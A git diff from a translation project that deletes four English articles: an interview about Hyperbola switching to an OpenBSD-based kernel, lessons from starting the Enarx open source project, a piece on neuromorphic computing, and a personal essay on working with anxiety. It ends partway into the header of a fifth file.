Hyperbola BSD.md deleted file mode 100644 index 68ede9acfa..0000000000 --- a/sources/talk/20200117 Insights into Why Hyperbola GNU-Linux is Turning into Hyperbola BSD.md +++ /dev/null @@ -1,174 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Insights into Why Hyperbola GNU/Linux is Turning into Hyperbola BSD) -[#]: via: (https://itsfoss.com/hyperbola-linux-bsd/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -Insights into Why Hyperbola GNU/Linux is Turning into Hyperbola BSD -====== - -In late December 2019, [Hyperbola][1] [announced][2] that they would be making major changes to their project. They have decided to drop the Linux kernel in favor of forking the OpenBSD kernel. This announcement only came months after Project Trident [announced][3] that they were going in the opposite direction (from BSD to Linux). - -Hyperbola also plans to replace all software that is not GPL v3 compliant with new versions that are. - -To get more insight into the future of their new project, I interviewed **Andre, co-founder of Hyperbola**. - -### Why Hyperbola GNU/Linux Turned into Hyperbola BSD - -![][4] - -_**It’s FOSS: In your announcement, you state that the Linux kernel is “rapidly proceeding down an unstable path”. Could you explain what you mean by that?**_ - -**Andre:** First of all, it’s including the adaption of DRM features such as [HDCP][5] (High-bandwidth Digital Content Protection). Currently there is an option to disable it at build time, however there isn’t a policy that guarantees us that it will be optional forever. - -Historically, some features began as optional ones until they reached total functionality. Then they became forced and difficult to patch out. Even if this does not happen in the case of HDCP, we remain cautious about such implementations. - -Another of the reasons is that the _**Linux kernel is no longer getting proper hardening**_. [Grsecurity][6] stopped offering public patches several years ago, and we depended on that for our system’s security. Although we could use their patches still for a very expensive subscription, the subscription would be terminated if we chose to make those patches public. - -Such restrictions goes against the FSDG principles that require us to provide full source code, deblobbed, and unrestricted, to our users. - -KSPP is a project that was intended to upstream Grsec into the kernel, but thus far it has not come close to reaching Grsec / PaX level of kernel hardening. There also has not been many recent developments, which leads us to believe it is now an inactive project for the most part. - -Lastly, the interest in [allowing Rust modules][7] into the kernel are a problem for us, due to Rust trademark restrictions which prevent us from applying patches in our distribution without express permission. We patch to remove non-free software, unlicensed files, and enhancements to user-privacy anywhere it is applicable. We also expect our users to be able to re-use our code without any additional restrictions or permission required. - -This is also in part why we use UXP, a fully free browser engine and application toolkit without Rust, for our mail and browser applications. - -Due to these restrictions, and the concern that it may at some point become a forced build-time dependency for the kernel we needed another option. - -_**It’s FOSS: You also said in the announcement that you would be forking the OpenBSD kernel. Why did you pick the OpenBSD kennel over the FreeBSD, the DragonflyBSD kernel or the MidnightBSD kernel?**_ - -**Andre:** [OpenBSD][8] was chosen as our base for hard-forking because it’s a system that has always had quality code and security in mind. - -Some of their ideas which greatly interested us were new system calls, including pledge and unveil which adds additional hardening to userspace and the removal of the systrace system policy-enforcement tool. - -They also are known for [Xenocara][9] and [LibreSSL][10], both of which we had already been using after porting them to [GNU/Linux-libre][11]. We found them to be well written and generally more stable than Xorg/OpenSSL respectively. - -None of the other BSD implementations we are aware of have that level of security. We also were aware [LibertyBSD][12] has been working on liberating the OpenBSD kernel, which allowed us to use their patches to begin the initial development. - -_**It’s FOSS: Why fork the kernel in the first place? How will you keep the new kernel up-to-date with newer hardware support?**_ - -**Andre:** The kernel is one of the most important parts of any operating system, and we felt it is critical to start on a firm foundation moving forward. - -For the first version we plan to keep in synchronization with OpenBSD where it is possible. In future versions we may adapt code from other BSDs and even the Linux kernel where needed to keep up with hardware support and features. - -We are working in coordination with [Libreware Group][13] (our representative for business activities) and have plans to open our foundation soon. - -This will help to sustain development, hire future developers and encourage new enthusiasts for newer hardware support and code. We know that deblobbing isn’t enough because it’s a mitigation, not a solution for us. So, for that reason, we need to improve our structure and go to the next stage of development for our projects. - -_**It’s FOSS: You state that you plan to replace the parts of the OpenBSD kernel and userspace that are not GPL compatible or non-free with those that are. What percentage of the code falls into the non-GPL zone?**_ - -**Andre:** It’s around 20% in the OpenBSD kernel and userspace. - -Mostly, the non-GPL compatible licensed parts are under the Original BSD license, sometimes called the “4-clause BSD license” that contains a serious flaw: the “obnoxious BSD advertising clause”. It isn’t fatal, but it does cause practical problems for us because it generates incompatibility with our code and future development under GPLv3 and LGPLv3. - -The non-free files in OpenBSD include files without an appropriate license header, or without a license in the folder containing a particular component. - -If those files don’t contain a license to give users the four essential freedoms or if it has not been explicitly added in the public domain, it isn’t free software. Some developers think that code without a license is automatically in the public domain. That isn’t true under today’s copyright law; rather, all copyrightable works are copyrighted by default. - -The non-free firmware blobs in OpenBSD include various hardware firmwares. These firmware blobs occur in Linux kernel also and have been manually removed by the Linux-libre project for years following each new kernel release. - -They are typically in the form of a hex encoded binary and are provided to kernel developers without source in order to provide support for proprietary-designed hardware. These blobs may contain vulnerabilities or backdoors in addition to violating your freedom, but no one would know since the source code is not available for them. They must be removed to respect user freedom. - -_**It’s FOSS: I was talking with someone about HyperbolaBSD and they mentioned [HardenedBSD][14]. Have you considered HardenedBSD?**_ - -**Andre:** We had looked into HardenedBSD, but it was forked from FreeBSD. FreeBSD has a much larger codebase. While HardenedBSD is likely a good project, it would require much more effort for us to deblob and verify licenses of all files. - -We decided to use OpenBSD as a base to fork from instead of FreeBSD due to their past commitment to code quality, security, and minimalism. - -_**It’s FOSS: You mentioned UXP (or [Unified XUL Platform][15]). It appears that you are using [Moonchild’s fork of the pre-Servo Mozilla codebase][16] to create a suite of applications for the web. Is that about the size of it?**_ - -**Andre:** Yes. Our decision to use UXP was for several reasons. We were already rebranding Firefox as Iceweasel for several years to remove DRM, disable telemetry, and apply preset privacy options. However, it became harder and harder for us to maintain when Mozilla kept adding anti-features, removing user customization, and rapidly breaking our rebranding and privacy patches. - -After FF52, all XUL extensions were removed in favor of WebExt and Rust became enforced at compile time. We maintain several XUL addons to enhance user-privacy/security which would no longer work in the new engine. We also were concerned that the feature limited WebExt addons were introducing additional privacy issues. E.g. each installed WebExt addon contains a UUID which can be used to uniquely and precisely identify users (see [Bugzilla 1372288][17]). - -After some research, we discovered UXP and that it was regularly keeping up with security fixes without rushing to implement new features. They had already disabled telemetry in the toolkit and remain committed to deleting all of it from the codebase. - -We knew this was well-aligned with our goals, but still needed to apply a few patches to tweak privacy settings and remove DRM. Hence, we started creating our own applications on top of the toolkit. - -This has allowed us to go far beyond basic rebranding/deblobbing as we were doing before and create our own fully customized XUL applications. We currently maintain [Iceweasel-UXP][18], [Icedove-UXP][19] and [Iceape-UXP][20] in addition to sharing toolkit improvements back to UXP. - -_**It’s FOSS: In a [forum post][21], I noticed mentions of HyperRC, HyperBLibC, and hyperman. Are these forks or rewrites of current BSD tools to be GPL compliant?**_ - -**Andre:** They are forks of existing projects. - -Hyperman is a fork of our current package manager, pacman. As pacman does not currently work on BSD, and the minimal support it had in the past was removed in recent versions, a fork was required. Hyperman already has a working implementation using LibreSSL and BSD support. - -HyperRC will be a patched version of OpenRC init. HyperBLibC will be a fork from BSD LibC. - -_**It’s FOSS: Since the beginning of time, Linux has championed the GPL license and BSD has championed the BSD license. Now, you are working to create a BSD that is GPL licensed. How would you respond to those in the BSD community who don’t agree with this move?**_ - -**Andre:** We are aware that there are disagreements between the GPL and BSD world. There are even disagreements over calling our previous distribution “GNU/Linux” rather than simply “Linux”, since the latter definition ignores that the GNU userspace was created in 1984, several years prior to the Linux kernel being created by Linus Torvalds. It was the two different software combined that make a complete system. - -Some of the primary differences from BSD, is that the GPL requires that our source code must be made public, including future versions, and that it can only be used in tandem with compatibly licensed files. BSD systems do not have to share their source code publicly, and may bundle themselves with various licenses and non-free software without restriction. - -Since we are strong supporters of the Free Software Movement and wish that our future code remain in the public space always, we chose the GPL. - -_**It’s FOSS: I know at this point you are just starting the process, but do you have any idea who you might have a usable version of HyperbolaBSD available?**_ - -**Andre:** We expect to have an alpha release ready by 2021 (Q3) for initial testing. - -_**It’s FOSS: How long will you continue to support the current Linux version of Hyperbola? Will it be easy for current users to switch over to**_? - -**Andre:** As per our announcement, we will continue to support Hyperbola GNU/Linux-libre until 2022 (Q4). We expect there to be some difficulty in migration due to ABI changes, but will prepare an announcement and information on our wiki once it is ready. - -_**It’s FOSS: If someone is interested in helping you work on HyperbolaBSD, how can they go about doing that? What kind of expertise would you be looking for?**_ - -**Andre:** Anyone who is interested and able to learn is welcome. We need C programmers and users who are interested in improving security and privacy in software. Developers need to follow the FSDG principles of free software development, as well as the YAGNI principle which means we will implement new features only as we need them. - -Users can fork our git repository and submit patches to us for inclusion. - -_**It’s FOSS: Do you have any plans to support ZFS? What filesystems will you support?**_ - -**Andre:** [ZFS][22] support is not currently planned, because it uses the Common Development and Distribution License, version 1.0 (CDDL). This license is incompatible with all versions of the GNU General Public License (GPL). - -It would be possible to write new code under GPLv3 and release it under a new name (eg. HyperZFS), however there is no official decision to include ZFS compatibility code in HyperbolaBSD at this time. - -We have plans on porting BTRFS, JFS2, NetBSD’s CHFS, DragonFlyBSD’s HAMMER/HAMMER2 and the Linux kernel’s JFFS2, all of which have licenses compatible with GPLv3. Long term, we may also support Ext4, F2FS, ReiserFS and Reiser4, but they will need to be rewritten due to being licensed exclusively under GPLv2, which does not allow use with GPLv3. All of these file systems will require development and stability testing, so they will be in later HyperbolaBSD releases and not for our initial stable version(s). - -* * * - -I would like to thank Andre for taking the time to answer my questions and for revealing more about the future of HyperbolaBSD. - -What are your thoughts on Hyperbola switching to a BSD kernel? What do you think about a BSD being released under the GPL? Please let us know in the comments below. - -If you found this article interesting, please take a minute to share it on social media, Hacker News or [Reddit][23]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/hyperbola-linux-bsd/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://www.hyperbola.info/ -[2]: https://www.hyperbola.info/news/announcing-hyperbolabsd-roadmap/ -[3]: https://itsfoss.com/bsd-project-trident-linux/ -[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/01/hyperbola_linux_bsd.png?ssl=1 -[5]: https://patchwork.kernel.org/patch/10084131/ -[6]: https://grsecurity.net/ -[7]: https://lwn.net/Articles/797828/ -[8]: https://www.openbsd.org/ -[9]: https://www.xenocara.org/ -[10]: https://www.libressl.org/ -[11]: https://en.wikipedia.org/wiki/Linux-libre -[12]: https://libertybsd.net/ -[13]: https://en.libreware.info/ -[14]: https://hardenedbsd.org/ -[15]: http://thereisonlyxul.org/ -[16]: https://github.com/MoonchildProductions/UXP -[17]: https://bugzilla.mozilla.org/show_bug.cgi?id=1372288 -[18]: https://wiki.hyperbola.info/doku.php?id=en:project:iceweasel-uxp -[19]: https://wiki.hyperbola.info/doku.php?id=en:project:icedove-uxp -[20]: https://wiki.hyperbola.info/doku.php?id=en:project:iceape-uxp -[21]: https://forums.hyperbola.info/viewtopic.php?id=315 -[22]: https://itsfoss.com/what-is-zfs/ -[23]: https://reddit.com/r/linuxusersgroup diff --git a/sources/talk/20200118 7 things I learned from starting an open source project.md b/sources/talk/20200118 7 things I learned from starting an open source project.md deleted file mode 100644 index 4742064f15..0000000000 --- a/sources/talk/20200118 7 things I learned from starting an open source project.md +++ /dev/null @@ -1,97 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (7 things I learned from starting an open source project) -[#]: via: (https://opensource.com/article/20/1/open-source-project) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) - -7 things I learned from starting an open source project -====== -It's not really about project mechanics at all. -![Stickers from all different open source projects and communities][1] - -I'm currently involved—heavily involved—in [Enarx][2], an open source (of course!) project to support running sensitive workloads on untrusted hosts. I've had involvement in various open source projects over the years, but this is the first for which I'm one of the founders. We're at the stage now where we've got a fair amount of code, quite a lot of documentation, a logo, and (important!) stickers. The project will hopefully be included in a Linux Foundation group—the [Confidential Computing Consortium][3]—so things are going very well indeed. - -I thought it might be useful to reflect on some of the things we did to get things going. To be clear, Enarx is a particular type of project, one that we believe has commercial and enterprise applications. It's also not mature yet, and we'll have hurdles and challenges along the way. What's more, the route we've taken won't be right for all projects, but hopefully, there's enough here to give a few pointers to other projects or people considering starting one up. - -The first thing I'd say is that there's lots of help to be had out there. I'd start with Opensource.com, where you'll find [lots of guidance][4]. I'll follow up by saying that, however much of it you follow, you'll still get things wrong. That said, here's my list of things to consider when starting an open source project. - -### 1\. Aim for critical mass - -I'm very lucky to work at the amazing [Red Hat][5], where everything we do is open source and where we take open source and community very seriously. I've heard it called a "critical mass" company—in order to get something taken seriously, you need to get enough people interested in it that it's difficult to ignore. Enarx's two co-founders—Nathaniel McCallum and I—are both very enthusiastic about the project and have spent a lot of time gaining sponsors within the organisation (you know who you are, and we thank you—we also know we haven't done a good enough job with you on all occasions!) and "selling" it to engineers to get them interested enough that it was difficult to stop. - -Some projects just bobble along with one or two contributors, but if you want to attract people and attention, getting a good set of people together who can get momentum going is a must. - -### 2\. Create a demo - -If you want to get people involved, a demo is great. It doesn't necessarily need to be polished, but it does need to show that what you're doing is possible and that you know what you're doing. For early demos, you may be talking about command-line output; that's fine if what you're providing isn't a user interface (UI) product. Being able to talk about what you're doing and convey both your passion and the importance of the project is a great boon. People like to be able to _see_ or _experience_ something, and it's much easier to communicate your enthusiasm if they have something real that expresses that. - -### 3\. Choose a license - -Once you have code and it's open source, you want other people to be able to contribute. This may seem like an unimportant step, but selecting an appropriate open source licence[1][6] will allow other people to contribute on well-understood and defined terms, making it easier for them to be involved—and for the organisations for which they work to allow them to do so. - -### 4\. Get documentation - -You might think that developer documentation is the most important to get out there—otherwise, how will other people get involved in coding? I disagree, at least to start with. For a small project, you can probably scale to a few more people just by explaining what the code does, what it should do, and what's missing. However, if there's no documentation available to explain what it's for and how it's going to help people, then why would anyone bother even looking at it? - -This doesn't need to be polished marketing copy, and it doesn't need to be serious, but it does need to convey to people why they should care. It's also going to help you with the first point I mentioned, attaining critical mass, as being able to point to documentation, use cases, and the rest will help convince people that you've thought through the _point_ of your project. We've used a GitHub wiki as our main documentation hub, and we try to update it with new information as we generate it. This is an area, to be clear, where we could do better. But at least we know that. - -### 5\. Be visible - -People aren't going to find out about you unless you're visible. We were incredibly lucky in that the Confidential Computing Consortium was formed just as we were beginning to get to a level of critical mass, and we immediately had a platform to increase our exposure. We have a [Twitter account][7], I publish articles on [my blog][8], and at Opensource.com, we've been lucky enough to have the chance to publish on Red Hat's [now + Next][9] blog, I've done interviews with the press, and we speak at conferences wherever and whenever we can. - -We're very lucky to have these opportunities, and it's clear that not all these approaches are appropriate for all projects, but make use of what you can: the more that people know about you, the more people can contribute. - -### 6\. Be welcoming - -Let's assume that people have found out about you: what's next? Well, they're hopefully going to want to get involved. If they don't feel welcome, then any involvement they have will taper off quickly. Yes, you need documentation (and, after a while, technical documentation, no matter what I said above), but you also need ways for contributors to talk to you and for them to feel that they are valued. We have [Gitter channels][10], and our daily standups are open to anyone who wants to join. Recently, someone opened an issue on our [issues database][11], and during the conversation on that thread, it transpired that our daily standup time doesn't work for them (given their time zone), so we're going to ensure that at least once a week it _does_, and we've assured them that we'll accommodate them. - -### 7\. Work with people you like - -I really, really enjoy meeting and working with the members of the Enarx project team. We get on well, we joke, we laugh, and we share a common aim: to make Enarx successful. I'm a firm believer in doing things you enjoy, where possible. Particularly in the early stages of a project, you need people who are enthusiastic and enjoy working closely together—even if they're geographically separated by thousands of kilometres.[2][12] If they don't get on, there's a decent chance that your and their enthusiasm for the project will falter, that the momentum will be lost, and that the project will end up failing. You won't always get the chance to choose those with whom you work, but if you can, then choose people you like and get on with. - -### Conclusion: People - -I didn't realise it when I started writing this article, but it's not really about project mechanics at all: it's about people. If you read back, you'll find the importance of people visible in every tip, even the one about choosing a license. Open source projects aren't really about code: they're about people, how they share, how they work together, and how they interact. - -I'm certain that your experience of open source projects will vary, and I'd be very surprised if everyone agrees about the top seven things you should do for project success. Arguably, Enarx _isn't_ a success yet, and I shouldn't be giving advice at this stage of our maturity. But when I think back to all of the open source projects that I can think of that _are_ successful, people feature strongly, and I don't think that's a surprise at all. - -* * * - - 1. Or "license," if you're from the US. - 2. Or, in fact, miles. - - - -* * * - -_This article originally appeared on [Alice, Eve, and Bob – a security blog][13] and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/open-source-project - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/stickers-osdc-lead.png?itok=2RNn132b (Stickers from all different open source projects and communities) -[2]: https://enarx.io/ -[3]: https://confidentialcomputing.io/ -[4]: https://opensource.com/article/20/1/getting-started-open-source -[5]: https://redhat.com/ -[6]: tmp.3liT27tUaE#1 -[7]: https://twitter.com/enarxproject -[8]: https://aliceevebob.com/ -[9]: https://next.redhat.com/ -[10]: https://gitter.im/enarx/ -[11]: https://github.com/enarx/enarx/issues -[12]: tmp.3liT27tUaE#2 -[13]: https://aliceevebob.com/2019/12/17/7-tips-for-kicking-off-an-open-source-project/ diff --git a/sources/talk/20200121 Beyond Moore-s Law- Neuromorphic computing.md b/sources/talk/20200121 Beyond Moore-s Law- Neuromorphic computing.md deleted file mode 100644 index cf2595c012..0000000000 --- a/sources/talk/20200121 Beyond Moore-s Law- Neuromorphic computing.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Beyond Moore's Law: Neuromorphic computing?) -[#]: via: (https://www.networkworld.com/article/3514692/beyond-moores-law-neuromorphic-computing.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Beyond Moore's Law: Neuromorphic computing? -====== -Some researchers think brain-copying architectures should replace traditional computing. One group explains how that might work. -4x-image / Getty Images - -With the conceivable exhaustion of [Moore’s Law][1] – that the number of transistors on a microchip doubles every two years – the search is on for new paths that lead to reliable incremental processing gains over time. - -One possibility is that machines inspired by how the brain works could take over, fundamentally shifting computing to a revolutionary new tier, according to an explainer study released this month by Applied Physics Reviews. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“Today’s state-of-the-art computers process roughly as many instructions per second as an insect brain,” say [the paper’s][3] authors Jack Kendall, of Rain Neuromorphics, and Suhas Kumar, of Hewlett Packard Labs. The two write that processor architecture must now be completely re-thought if Moore’s law is to be perpetuated, and that replicating the “natural processing system of a [human] brain” is the way forward. - -[][4] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][4] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -Deep neural networks (DNNs) should be the foundation, the group believes. A DNN is basically dynamic deep learning where layers pull high- and low-level detail features (edges and shapes, for example) from data. Kendall and Kumar explain that a human brain, which DNN copies, can sort through massive datasets and generally identify data  better than a traditional computer, so therefore it should be the starting point. - -This kind of thing is being attempted already. Existing artificial intelligence (AI) is a stab at getting computers to learn like a human brain. Much like the brain, AI engines learn from patterns in data. Algorithms are combined with processing power, and rewards are dished out when the machine gets it right. - -A brain-inspired neuromorphic computer, however, would take computing a step further, the team believes. Neuromorphic computing mimics neuro-biological architectures in a kind of hybrid digital-analog circuit, in a way like a body does biologically. - -The group says that they think there are 10 basics that need to be gotten right to get to this next level: - -**Parellelism** – Similar to how a brain works rapidly, numerous mathematical operations must be made to occur simultaneously. It’s an extension of what we see now in graphical processing units (GPUs) where large scale graphics are created using concurrent calculations called matrix multiplications. - -**In-memory computing** – It wastes resources to fetch data from remote places, and human brains, indeed, don’t do that; they store information in the same synapses that perform the thought. The introduction of electronic processing semiconductors that combine memory – [Memristors –][5] could help here. (I wrote a few weeks ago about [progress being made combining transistors with storage][6]. That combo could have similar resource advantages.) - -**Analog computing** – Numbers are analog, not digital, the authors point out. Most real-world numbers aren’t zeros and ones, so, for efficiency, any new computing architecture needs to accept that concept, adapt and handle the inherent precision problems that result. - -**Plasticity** – Real-time tuning needs to take place to account for things changing. - -**Probabilistic computing** – The authors suggest computers should get less precise, just like the human brain. Coming up with certain degrees of probability is faster than precise calculation, and it requires less information. - -**Scalability** – The depth of the network allows for complexity. By introducing more layers, one gains more scaling. - -**Sparsity** – Large-scale networks, including neural computers, can’t connect every node, just as not all neurons are connected to each other in the brain. It’s a redundancy that wastes resources. Hub-and-spoke topology works better and allows for better scaling. The same should happen in the next computers, the researchers say. - -**Learning (credit assignment)** – The adjustment of synaptic weights (the strength and amount of influence synapses have) needs attention related to new information presented. - -**Causality** – The relationship between cause and effect in a result has to be addressed. Causal interference is a problem, and machine learning generally has had problems with getting this bit right. - -**Nonlinearity** – The brain isn’t linear like a computer is. “The brain operates at the edge of chaos to produce the most optimal learning and computation,” the team says. The next computer architecture needs to encompass that brain-like nonlinearity, but also operate within linearity, like today’s electronics. - -“Our present hardware is not able to keep up,” Kendall and Kumar say in their paper, which also looks at materials. “The future of computing will not be about cramming more components on a chip but in rethinking processor architecture,” which should be neuromorphic. - -**Now see** [10 of the world's fastest supercomputers][7] - -Join the Network World communities on [Facebook][8] and [LinkedIn][9] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3514692/beyond-moores-law-neuromorphic-computing.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3189051/its-time-to-dump-moores-law-to-advance-computing-researcher-says.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://aip.scitation.org/doi/10.1063/1.5129306 -[4]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[5]: https://www.networkworld.com/article/2931818/brain-uploads-coming-as-pcs-get-more-powerful.html -[6]: https://www.networkworld.com/article/3510638/researchers-aim-to-build-transistors-that-can-compute-and-store-information-in-one-component.html -[7]: https://www.networkworld.com/article/3236875/embargo-10-of-the-worlds-fastest-supercomputers.html -[8]: https://www.facebook.com/NetworkWorld/ -[9]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200121 Never enough- Working openly with anxiety.md b/sources/talk/20200121 Never enough- Working openly with anxiety.md deleted file mode 100644 index 5fb89e3bc1..0000000000 --- a/sources/talk/20200121 Never enough- Working openly with anxiety.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Never enough: Working openly with anxiety) -[#]: via: (https://opensource.com/open-organization/20/1/leading-openly-anxiety) -[#]: author: (Sam Knuth https://opensource.com/users/samfw) - -Never enough: Working openly with anxiety -====== -Open organizations reward initiative. For leaders with anxiety, that may -fuel some exhausting patterns. -![A graph of a wave.][1] - -_Editor's note: This article is part of a series on working with mental health conditions. It details the author's personal experiences and is not meant to convey professional medical advice or guidance._ - -Something in [a recent podcast interview][2] with food writer Melissa Clark caught my ear. Asked if she was a "productive person,'' Clark replied by saying: "I am an anxious person. I have a lot of anxiety, and my way of coping with it is to be very, very busy […]. That's how I deal with the world. I [pause] _do_." - -Clark's point resonated with me, because I live with multiple mental health conditions that have a fundamental impact on how I approach my work. And I believe they've played a role in the career success I've experienced. - -I have [generalized anxiety disorder][3] and [obsessive-compulsive disorder][4] (OCD). Both of these conditions have had serious impacts on my life. Some of those impacts have been disruptive. At the same time, some have contributed positively to my success and my development as a leader in a growing organization. - -I've spent most of my career in an organization built on openness and transparency, and yet I have rarely spoken about my mental health and how it might impact my work. In sharing these stories now, I hope to help reduce the [stigma of mental health at work][5] and connect with others who may be experiencing similar or related situations. Given the prevalence of [mental illness globally][6], chances are good that if you don't experience a mental health condition first hand, then you're likely working on a daily basis with someone who does. - -Learning about how mental illness manifests at work may help you navigate relationships with others as well as your own challenges. As a leader in an open organization, I feel compelled to share my experiences in the hope that they are useful to others. Working openly has specific implications for me—and, I suspect, for others with similar mental health conditions—which I'll detail in this series. - -### How it started - -My anxiety and OCD started shortly after I graduated from college and was living in New York City (though I could probably trace their histories further, this was the moment when they became apparent). The wave of confidence I rode during the dot com boom was crushed in the bubble-bursting crash in March of 2001. The memory of coming into work, being called into an all hands meeting (the first we'd ever had at my small company), and being told that as of today there was no money to make payroll, is etched into my mind. - -My girlfriend and I had just moved into a $2100-per-month apartment. Fear of not being able to pay the rent, or being otherwise swallowed up by the city, resulted in a general sense of unease and nervousness in my gut, combined with very real symptoms of OCD. - -For example, while walking to work at a temp job I took after my company folded, I would wonder if I had remembered to lock the apartment door. I would retrace the steps of my morning routine in my mind, trying to find that moment when I turned the key. If I couldn't specifically remember, the sense of unease and worry in my gut would build to the point that I couldn't think about anything else. Frequently, I would turn around, rush back home, and double check that the door was locked. When I did so, I would have to do something memorable, like repeat a phrase out loud, so that I could mark the moment in my memory. Then, back on the way to work, I would again wonder if I had locked the door, and I could say "Yes, and when you did it, you said out loud 'It's Tuesday morning and I'm locking the door!'" - -I've spent most of my career in an organization built on openness and transparency, and yet I have rarely spoken about my mental health and how it might impact my work. - -### So, how does this translate to an advantage at work? - -One of the primary factors contributing to success at my company is an ability to take initiative. Much work needs to be done, and we're in an environment of continual growth and change—which means it's not always clear _what_ needs to be done or _who_ should be doing it. That creates the opportunity for people to observe a need then step up to fill it. This is true in many open organizations, where everyone, regardless of job title or level, is encouraged to step forward. - -Living with anxiety, I continually feel like I need to be doing something, or worry that I'm not doing enough. This motivates me to seek opportunities for contributing. In other words, the anxiety makes me proactive. Being "proactive" or a "self starter" is something you'll find in the "qualifications" section of many job postings! - -I'm very fortunate to have built my career at a successful company, where continual growth creates financial incentives. One of my largest anxieties is about money—the fear of not having enough of it. Being in a leadership role at a quickly growing, profitable company exponentially multiplies what I call the anxiety performance loop (see Figure 1). A high quarterly bonus or other financial reward for a job well done is an invitation to do more, to raise the bar higher, to double down on the behaviors that seem to provide positive outcomes at work. Quarter after quarter after quarter. - -![][7] - -You can observe in all this a virtuous cycle: Opportunities I find at work satisfy my mental needs, and as a result I experience success and rewards. And this, on the face of it, is true. - -So, what's the problem? - -The anxiety-driven performance loop presents two challenges: it never ends, and it is based on a negative emotional state (fear and worry). - -Perhaps the best phrase to illustrate this would be "What have you done for me lately?" In my mental landscape, this is what everyone is thinking about me all the time. No matter what I achieve, no matter what reward or recognition I receive, I imagine that within minutes the person acknowledging my achievement is thinking, "Now, why are you still sitting there? Get out and go do some more!" - -People are not, of course, really thinking this. But my mind can locate enough truth in it to justify a quick return to the fear of not doing enough, which restarts the cycle. - -The anxiety-driven performance loop presents two challenges: it never ends, and it is based on a negative emotional state (fear and worry). - -We live in a world of short attention spans, high expectations, and significant competitive pressures. All of these are real challenges that fuel the idea that after each accomplishment we need to raise the bar higher and keep going. Having anxiety causes me to internalize these pressures, which triggers the "looping" effect. - -The result is that both my company and my career benefit. Mentally, though, I get exhausted. - -I have developed a few coping mechanisms to help me maintain balance: - - * **Mediation.** After I was first diagnosed with my conditions almost 20 years ago, I saw a therapist. After a round of sessions, the therapist referred me to a mediation center, which opened up a new world of thought for me. I've recently been working to reinvigorate my daily practice. - * **Exercise.** I'm a bit compulsive about exercise. I make time every single day for at least one hour of exercise (for me it's walking, cross country skiing, or running). - * **Self awareness, reality checks, and reminders.** Anxiety and OCD can lead to a distorted view of reality. I may overstate stakes, read too much into other people's motivations, or imagine consequences that are just not realistic. Reminding myself of the _true_ worst case scenario (which usually isn't that bad), realizing that other people have more important things to worry about than me, or reminding myself that this is "just a job" can all help bring me back to a realistic perspective. I also have a few other people who can help with this. - - - -So far I've focused primarily on the performance-enhancing aspects of anxiety. In future articles, I'll discuss some of its performance-reducing aspects, as well as the impact my condition has on my colleagues. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/1/leading-openly-anxiety - -作者:[Sam Knuth][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/samfw -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LIFE_wavegraph.png?itok=z4pXCf_c (A graph of a wave.) -[2]: http://www.third-story.com/listen/melissaclark -[3]: https://www.mayoclinic.org/diseases-conditions/generalized-anxiety-disorder/symptoms-causes/syc-20360803 -[4]: https://www.mayoclinic.org/diseases-conditions/obsessive-compulsive-disorder/symptoms-causes/syc-20354432 -[5]: https://www.bloomberg.com/news/articles/2019-11-13/mental-health-is-still-a-don-t-ask-don-t-tell-subject-at-work -[6]: https://ourworldindata.org/mental-health -[7]: https://opensource.com/sites/default/files/images/open-org/anxiety_performance_loop.png diff --git a/sources/talk/20200121 What you need to know about System76-s open source firmware project.md b/sources/talk/20200121 What you need to know about System76-s open source firmware project.md deleted file mode 100644 index 